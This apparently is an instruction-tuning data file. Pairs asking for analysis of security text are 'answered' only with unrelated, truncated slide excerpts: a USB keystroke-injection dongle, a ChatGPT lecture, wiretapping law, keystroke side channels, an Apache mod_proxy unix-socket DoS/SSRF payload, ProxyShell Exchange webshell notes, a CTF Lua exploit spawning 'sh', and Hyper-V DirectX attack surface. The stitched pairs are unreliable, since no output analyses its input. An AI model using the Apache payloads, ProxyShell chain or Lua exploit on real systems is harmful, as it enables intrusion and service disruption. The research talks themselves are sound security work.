a speaker’s gift for doing a FireSide talk at
Shmoocon 2010
 The Keystroker was meant to annoy someone by
sending keystrokes and mouse movements to their
computer
 But, what if it was programmable?
http://Irongeek.com
 Darren Kitchen (media mogul)
and Robin Wood (code deity)
 I knew Darren had been working
with the U3 thumb drives for
automated attacks, so I went to
him with the idea
 Devious minds think alike! They
were already developing it!
 They are working on a product
(USB Rubber Ducky):
 http://www.hak5.org/store
Darren Kitchen http://hak5.org
Robin Wood
http://digininja.org
http://Irongeek.com
 For those that like to “Go ugly early”, hold on for
the rest of this presentation
 Three notes in my defense:
1.
I’m new to microcontrollers
2.
I suck at soldering
(Like an epileptic alcoholic with DTs soldering with
an aluminum baseball bat)
3.
I apparently suck at using rotary tools too
http://Irongeek.com
 Likely types faster than you can, without errors
 Works even if U3 autorun is turned off
 Draws  less attention than sitting down in front of the
terminal would. The person turns their head for a minute,
the pen-tester plugs in their programmable USB key stroke
dongle, and Bobs your uncle, instant pwnage.
 Can also be set to go off on a timer when you know a target
will be logged in
 Just use your imagination!
http://Irongeek.com
 Add a user
 Run a program
 Copy files to ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ChatGPT技术分析
刘群 LIU Qun
华为诺亚方舟实验室 Huawei Noah’s Ark Lab
在线讲座 (an online lecture)
2023-02-16
ChatGPT概览
ChatGPT的出色表现
ChatGPT的关键技术
ChatGPT的不足之处
ChatGPT未来发展方向
Content
ChatGPT概览
ChatGPT的出色表现
ChatGPT的关键技术
ChatGPT的不足之处
ChatGPT未来发展方向
Content
ChatGPT轰动效应
▶ 用户数：5天100万，2个月达到1亿
▶ 所有人都开始讨论ChatGPT，传播速度堪比
新冠病毒
▶ Google内部拉响红色警报
▶ Google紧急仅仅发布Bard，但因发布现场出
现错误导致股票蒸发8%
▶ 微软追加投资OpenAI一百亿美元
▶ 微软迅速推出加载了ChatGPT的New Bing，
并计划将ChatGPT接入Office套件
▶ 国内外大厂迅速跟进
1 total: 40
ChatGPT官方博客：简介
ChatGPT: Optimizing
Language Models
for Dialogue
We’ve trained a model called ChatGPT which interacts in a
conversational way. The dialogue format makes it possible for
ChatGPT to answer followup questions, admit its mistakes,
challenge incorrect premises, and reject inappropriate requests.
ChatGPT is a sibling model to InstructGPT, which is trained to
follow an instruction in a prompt and provide a
detailed response.
November 30, 2022
13 minute read
We are excited to introduce ChatGPT to get users’ feedback and learn about its strengths and weaknesses. During the research
preview, usage of ChatGPT is free. Try it now at chat.openai.com.
We are excited to introduce ChatGPT to get users’ feedback and learn about its strengths and weaknesses. During the research
preview, usage of ChatGPT is free. Try it now at chat.openai.com.
TRY CHATGPT ↗
ChatGPT Blog: https://openai.com/blog/chatgpt/
2 (1) total: 40
ChatGPT官方博客：简介
The main features of ChatGPT highlighted in the official blog:
▶ answer followup questions
▶ admit its mistakes
▶ challenge incorrect premises
▶ reject inappropriate requests
ChatGPT Blog: https://openai.com/blog/chatgpt/
2 (2) total: 40
ChatGPT模型大小
ChatGPT是基于GPT-3的Davinci-3模型开发的：
3 (1) total: 40
ChatGPT模型大小
GPT-3论文中提供了一下不同规模的版本：
OpenAI对外提供的API提供了以下4个模型：
3 (2) total: 40
ChatGPT模型大小
根据数据对比，Davinci模型应该对应于最大（175B）的GPT-3模型：
On the Sizes of OpenAI API Models
Using eval harness, we can deduce the sizes of OpenAI API models from their performance.
May 24, 2021 · Leo Gao
OpenAI hasn’t officially said anything ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Exploiting Internet Surveillance Systems
Defcon 18, 2010
Decius
The “Great Debate”
How should the information infrastructure of the
future balance the individual’s desire for privacy
with the state’s interest in monitoring suspected
criminals?
Steve Jackson Games
Communications Assistance for Law Enforcement Act
 Communications Assistance for Law Enforcement Act
– Passed in 1994
– Requires Telecommunications Companies to cooperate with the interception of
traffic on their networks by providing technical interfaces for that purpose
– Originally did not apply to “Information Services.”
 In 2005 the FCC ruled that CALEA applies to broadband Internet providers
– The Cisco Architecture for Lawful Intercept pre-dated this ruling
– By 2005 Some European countries already required these interfaces for Internet
networks
– Providers may voluntarily create these interfaces even when not required to
• The provider is going to have to grant access to the communications somehow
• A well defined interface makes wiretapping less disruptive to network operations
IETF Policy on Wiretapping (RFC 2804)
The IETF will not consider requirements for wiretapping in protocol designs
– The IETF is an international body and can’t address the laws of every country
– Wiretapping the Internet is either easy or its impossible
• RFC 1984 – Development of the Internet requires wide availability of strong
cryptographic technology
– The Internet should be free from security loopholes
• Adding a requirement for wiretapping makes protocols more complex
– Complexity begets vulnerability
• The interfaces that provide wiretap access could be used with authorization
– “On the other hand,” wiretapping technologies should be openly described
• “The IETF believes that the publication of such mechanisms, and the
publication of known weaknesses in such mechanisms, is a Good Thing.”
• In keeping with this philosophy, Cisco and the IETF published RFC 3924 –
The Cisco Architecture for Lawful Intercept in I...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sniffing Keystrokes With Lasers/Voltmeters
Sniffing Keystrokes With Lasers/Voltmeters
Side Channel Attacks Using Optical Sampling Of
Mechanical Energy And Power Line Leakage
 Copyright 2009 Inverse Path Ltd.
Andrea Barisani
Chief Security Engineer
<andrea@inversepath.com>
http://www.inversepath.com
Daniele Bianco
Hardware Hacker
<daniele@inversepath.com>
Introduction
DISCLAIMER:
All the equipment and/or circuits and/or schematics provided in the
presentation must be treated as examples, use the presented
information at your own risk! Safety first!
Copyright 2009 Inverse Path Ltd.
               Andrea Barisani  <andrea@inversepath.com>
               Daniele Bianco  <daniele@inversepath.com>
This work is released under the terms of the Creative Commons
Attribution-NonCommercial-NoDerivs License available at
http://creativecommons.org/licenses/by-nc-nd/3.0.
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
Two
Unconventional Attacks
● Attack 1: Power Line Leakage detection against wired PS/2
keyboards
● Attack 2: Optical Sampling of Mechanical Energy against
laptop keyboards
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
Why bother ?
● Getting bored by software...hardware hacking is good fun!
● Unconventional side channel attacks
● Relatively cheap hardware
● FRIGGING LASER BEAMS!
● As always....more important: girls will melt when you show
this...
● This is still a work in progress, we are planning to
considerably refine the data/equipment presented in the
next months
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
TEMPEST
● What is TEMPEST ?
Transmitted Electro-Magnetic Pulse / Energy Standards & Testing
Tiny ElectroMagnetic Particles Emitting Secret Things
The Emissions Might Produce Extremely Sweet Talks
● Investigations and studies of Compromising Emanations or
Fortuitous Leakage
● Unintentional intelligence-bearing signals which, if
intercepted and analyzed, may di...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apache
0x00
apachercepayloaddos
0x01
 ProxyRequests On
GET http://www.baidu.com HTTP/1.1
apache
unix socket
48payload
GET unix:/A*4096/aaa|http://www.baidu.com HTTP/1.1
48unix socket
unix
payload
GET unix:/A*4096/aaa|aaa HTTP/1.1
httpd
0x02
coredumpapache coredump
apachecoredump
1. ulimit -S -c unlimited
2.  apache  CoreDumpDirectory /var/apache_coredump
3. chown  /var/apache_coredump  apache
anywaycoredump
 gdb httpd coredumpfilepath
gdbbt
proxy_util.c1746ap_proxy_get_worker_exstrchr
strchrurlnullstrchr
ap_proxy_de_socketfy
 unix:/dddd| strchrcNULLNULLNULLstrchr
doshttpdhttpdfork
48ssrfdosssrfdos
0x03
ssrfrewrite
RewriteRule ^/(.*) unix:/path|fcgi://localhost/$1 [P]
ssrfrewrite
unixunixsocketpathlimit
nullnull
notesudspathNULLelse
elseworker->s->uds_pathnullworker ProxyPass xxxx
worker
worker


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#Proxyshell# 个人记录
目前 proxyshell 实战中遇到最多的问题有两种。一个是 powershell 端点获取问题，一个是获
取 cmdlet 可执行端点后 get webshell 中间遇到的坑。
一、powershell 端点获取问题
目前大部分人利用 poc 时都是使用 administrator 测试是不是存在可以利用的 powershell 端
点，获取不到爆破邮箱。这里使用头像哥思路可花较少时间获取 ps Exhange 的权限。
1. 原始 poc 浅析
https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell.py
结合最先公开的 poc(此 poc 大量参考斗象文章)中的部分点，分析下它的利用链和实际遇到
的问题。Poc 执行后首先获取 LegacyDN 而后获取 sid 最后生成 token，获取的前提是输入的
邮箱必须是存在的邮箱否则会报五百错误。
生成完毕 token 后第二个红色箭头处会停留等待输入命令。需要注意的是程序运行到此处只
是生成了 token 并没有验证 token 是否具有远程权限。
Shell 函数获取用户输入后才会发起认证，进入函数后第一个红色箭头处 wsman 将帮助我们
发起认证格式为 Kerberos 的请求，并执行命令(发起的请求还会经过 PwnServer 类处理)。认
证过程中如果指定邮箱没有 Exchange Online PowerShell 权限时会报错如下。
有权限将会获取输入的命令执行结果。以上是原 poc 的执行流程。
2. 另一新公开的 poc 分析
https://github.com/ktecv2000/ProxyShell
原理类似所以略过分析，该脚本针对部分环境存在问题。如果 rid 不是 500 强制修改 rid 为
500 当它打印出[Stage 3] Accessing /Powershell Endpoint 时实际此时在部分环境下不会成功
认证，但此处还会打印完成认证没有写好处理逻辑问题，也可能作者只打了自己搭建的
exchange 他没有发现这一问题。
为了清楚的看到它是否真的通过 wsman 认证成功，我们首先替换 pypsrp 库的 wsman.py 文
件为该 poc 作者自己写的 wsman.py，再给它发送的 requests 请求加上代理，看下究竟是什
么样的回显。
执行后于 burp 看到回显如下。
可以看到实际上它是根本没有验证成功，查询该问题。
https://windowstechpro.com/the-user-isnt-assigned-to-any-management-roles-error/
https://serverfault.com/questions/100311/how-do-i-resolve-user-isnt-assigned-to-any-managem
ent-roles-error-in-exchange
大概得知是因为域管未加入 exchange Organization Management 组造成，所以此脚本
及其他类似思路的 poc 或脚本，只适用于目标环境恰好存在 rid500 域管在该组的情况
下，否则都会失败。
到这里也能解决一个迷思，有个好兄弟很坚定认为说如果你都不是域管你怎么去导出
邮件，给我一顿嘲讽。这里我们知道域管与 exchange 管理员是分离的，并没有必然
联 系 。 即 使 rid 为 500 域 管 理 员 也 会 失 败 所 以 根 源 问 题 应 该 是 用 户 是 不 是 在
Organization Management 组中。
至于为何产生这种情况，在其他类似问题的解答里看到，似乎是安装 exchange 时用
户不是对应的域管造成，应该是属于安装问题。而其他尤其是高版本 exchange 的可
能有所更新，已经避免了此问题，目前真实环境中未遇到非 exchange15 的存在这个
问题。
这个情况也通用于其他类似脚本，原理是一样的。所以部分朋友认为修改 rid500 就能
通杀所有目标环境的是完全的美好幻想。
二、Get shell 问题
很多环境都存在 rid500 可以打的情况，其 cmdlet 命令集支持所有的命令如 certificate、设置
导出权限就是直接 shell。
但是实际过程中发现遇到 exchange15 的环境，使用的账户拥有访问 powershell 端点的权限,
但是 cmdlet 支持不全。这个用之前头像哥的思路去获取到所有成员，再自行测试其是否是
管理员去打目前还未成功，没能实锤这种情况究竟是版本问题还是权限问题。如果后...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DefCon 13
Shmoo-Fu: Hacker Goo,
Goofs, and Gear with the
Shmoo
The Shmoo Group
www.shmoo.com
DefCon 13
What's up Shmoo?
● Howdy & introductions...
● Our festivities will include:
– IDN Fallout & Homograph Attacks
for Personal Identities
– Super Spy Stuff
– Revving Up Rainbow Tables
– Rogue Squadron & EAP Peeking
– Shooting Your Security Wad
– Don't Try This at Home
– And MORE!
DefCon 13
Stickers anyone?
DefCon 13
IDN Fallout
● At ShmooCon 2005, Eric
Johansen dropped the browser
bomb regarding IDN issues.
● The press ran with it a bit.
● The folks responsible for IDN
ranted for a bit.
● But did anything concrete occur?
● And where are we now?
DefCon 13
1337 Personal Identities
● So Ericj is now 3ricj, BTW.
● Oh snap.  That rhymes.
● Where does the system break
down when your name doesn't
quite conform?
● Does 3ricj get more fan mail?
● Can the man keep your 1337
identity down?
DefCon 13
And now...
Pablos.
DefCon 13
Super Spy Stuff
● Robots got boring, so Pablos
starting hanging out with models
after his chic hacker photo shoot
in FHM.
● The result was nothing short of
spectacular, as the fashionable
cell-phone stowaway strifes hot
women face were finally
addressed.
DefCon 13
While Pablos discusses
the alien technology
inner workings of his
secret ninja lair, you can
stare at this...
DefCon 13
DefCon 13
Dan Moniz goes crazy...
DefCon 13
rainbowtables.shmoo.com
● We think rainbow tables are neat.
● Just for fun, we started hosting
rainbow tables that we had
generated.
– LanMan
– Via Bittorrent
– FREE
● Some people liked that.  Yay!
● Some people didn't...
DefCon 13
---------- Forwarded message ----------
From: Zhu Shuanglei <shuanglei@hotmail.com>
Date: Mar 10, 2005 12:42 AM
Subject: About your shmoo site
To: beetle@shmoo.com
Hi,
I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are
offering free BitTorrent links on your website for the rainbow tables. For
those guys selling the table without permission from me, they are no...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

XCTF WP
AuthorNu1L Team
wpWP
NaNroot@nu1l.com 2.0
Nu1L
XCTF WP
lua
BLSMPS
babyjail
babybaes
hardstack
house of pig
hello arm
dngs2010
warmupcms
GSA
apk
Dubbo
space
lamaba
3*3
babydebug
easycms
spider
coturn
lua
local bit_band   = bit.band
local bit_lshift = bit.lshift
local bit_rshift = bit.rshift
local math_floor = math.floor
local math_frexp = math.frexp
local math_ldexp = math.ldexp
local math_huge  = math.huge
function UInt32sToDouble(low, high)
  local negative = false
  if high >= 0x80000000 then
    negative = true
    high = high - 0x80000000
  end
  local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20)
  local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 ^ 52
  local f
  if biasedExponent == 0x0000 then
    f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022)
  elseif biasedExponent == 0x07FF then
    f = mantissa == 0 and math_huge or(math_huge - math_huge)
  else
    f = math_ldexp(1 + mantissa, biasedExponent - 1023)
  end
  return negative and -f or f
end
function encode(value)
    code = ''
  i = 4
    while i~=0 do
        code = code .. string.char(value%256)
        value = value/256
    i = i-1
    end
    return code
end
local function a()
  while(1)
  do
  end
  return 1
end
-- 0x40000000 44D7D0
-- 6764A0
local fake =
"\xd0\xd7\x44\x00\xd0\xd7\x44\x00\xd0\xd7\x44\x00\xd0\xd7\x44\x00sh\x00\x00\x00\x00\x00
\x00"..encode(0x044D7E2)..encode(0x044D7E2)..encode(0x044D7E2)
local fa = tonumber( string.format( "%p", fake ), 16 )+ 32
print(encode(fa)) -- 0x451313  451309
local str = "sh\x00\x00\x00\x00\x00\x40"..encode(fa)..encode(fa-1000)..encode(fa-
1000).."\x00\x00\x00\x00"..encode(0x451309).."\x00\x00\x00\x00"..encode(0x451313).."\x0
0\x00\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
print(a)
local address = tonumber( string.format( "%p", str ), 16 )+ 24
print( tonumber( string.format( "%p", str ), 16 ) )
address = UInt32sToDouble( address - 8, 0 )
local func = debug.getinfo( 0, ">f", address ).func
-- p...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
DirectX: The New Hyper-V
Attack Surface
Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrak1e)
#BHUSA @BlackHatEvents
Information Classification: General
whoami
Zhenhao Hong (@rthhh17)
• Security Specialist of Ant
Group Light-Year Security Lab
• 2019-2020 MSRC Most
Valuable Security
Researchers
• Black Hat USA 2021 Speaker
Ziming Zhang (@ezrak1e)
• Security researcher of Ant
Group Light-Year Security Lab
• 2021 Tianfu Cup Windows
project winner
• 2021 Q2/Q4 Microsoft Most
Valuable Security Researchers
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Intro
➢ In 2020, Hyper-V introduced a new feature of GPU-
Paravirtualization.
➢ This technology is integrated into WDDM (Windows Display Driver
Model) and all WDDMv2.5 or later drivers have native support for
GPU virtualization.
➢ New features mean new attack surfaces.
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Architecture
https://docs.microsoft.com/en-us/windows-hardware/drivers/display/images/dx10arch.png
#BHUSA @BlackHatEvents
Information Classification: General
Hyper-V DirectX Component Architecture
Hypervisor        (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Data Flow
Hypervisor        (Ring -1)
User Mode...